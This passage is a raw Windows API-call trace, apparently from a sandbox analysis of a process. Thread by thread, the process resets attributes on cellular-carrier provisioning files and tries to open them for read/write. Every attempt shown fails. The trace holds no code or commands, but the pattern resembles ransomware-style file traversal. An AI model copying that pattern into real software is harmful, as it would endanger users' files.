users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\674__connections_cellular_lg u+ (korea)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.565] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.565] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01b68) returned 1 [0182.565] RtlExitUserThread (Status=0x0) Thread: id = 3288 os_tid = 0x1374 [0182.444] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.564] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\675__connections_cellular_lg u+ (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.564] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f021d0) returned 1 [0182.564] RtlExitUserThread (Status=0x0) Thread: id = 3289 os_tid = 0x1378 [0182.445] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.563] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.563] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\676__connections_cellular_lenovo (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.563] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\676__Connections_Cellular_Lenovo (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b758) returned 1 [0182.563] RtlExitUserThread (Status=0x0) Thread: id = 3290 os_tid = 0x137c [0182.447] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.561] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.561] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\677__connections_cellular_lenovo (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.562] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\677__Connections_Cellular_Lenovo (United Kingdom)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.562] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fb50) returned 1 [0182.562] RtlExitUserThread (Status=0x0) Thread: id = 3291 os_tid = 0x1380 [0182.448] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.604] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.604] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\678__connections_cellular_kt (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.604] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\678__Connections_Cellular_kt (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.605] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0182.605] RtlExitUserThread (Status=0x0) Thread: id = 3292 os_tid = 0x1384 [0182.448] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.603] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.603] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\679__connections_cellular_y!mobile (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.603] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\679__Connections_Cellular_Y!mobile (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fca8) returned 1 [0182.603] RtlExitUserThread (Status=0x0) Thread: id = 3293 os_tid = 0x1388 [0182.449] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.602] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.602] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\67__connections_cellular_telefonica (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.602] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\67__Connections_Cellular_Telefonica (Chile)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.602] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2710) returned 1 [0182.602] RtlExitUserThread (Status=0x0) Thread: id = 3294 os_tid = 0x138c [0182.449] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.601] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.601] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\680__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.601] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\680__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.601] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054e48) returned 1 [0182.601] RtlExitUserThread (Status=0x0) Thread: id = 3295 os_tid = 0x1390 [0182.449] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.560] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.560] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\681__connections_cellular_sk telecom ltd. (korea)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.560] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\681__Connections_Cellular_SK Telecom Ltd. (Korea)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.560] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2c70) returned 1 [0182.560] RtlExitUserThread (Status=0x0) Thread: id = 3296 os_tid = 0x1394 [0182.450] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.559] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.559] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02c10) returned 1 [0182.559] RtlExitUserThread (Status=0x0) Thread: id = 3297 os_tid = 0x1398 [0182.450] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.558] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.558] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\683__connections_cellular_kddi corporation (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.558] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\683__Connections_Cellular_KDDI Corporation (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2590) returned 1 [0182.558] RtlExitUserThread (Status=0x0) Thread: id = 3298 os_tid = 0x139c [0182.451] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0182.557] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.557] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.557] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0182.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054f80) returned 1 [0182.557] RtlExitUserThread (Status=0x0) Thread: id = 3299 os_tid = 0x13a0 [0182.451] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.598] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.598] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.598] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.598] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fe0) returned 1 [0182.598] RtlExitUserThread (Status=0x0) Thread: id = 3300 os_tid = 0x13a4 [0182.451] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.597] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2308) returned 1 [0182.597] RtlExitUserThread (Status=0x0) Thread: id = 3301 os_tid = 0x13a8 [0182.452] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.595] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.595] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2460) returned 1 [0182.596] RtlExitUserThread (Status=0x0) Thread: id = 3302 os_tid = 0xac0 [0182.452] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.594] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\688__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.594] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25b8) returned 1 [0182.595] RtlExitUserThread (Status=0x0) Thread: id = 3303 os_tid = 0x1118 [0182.453] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone 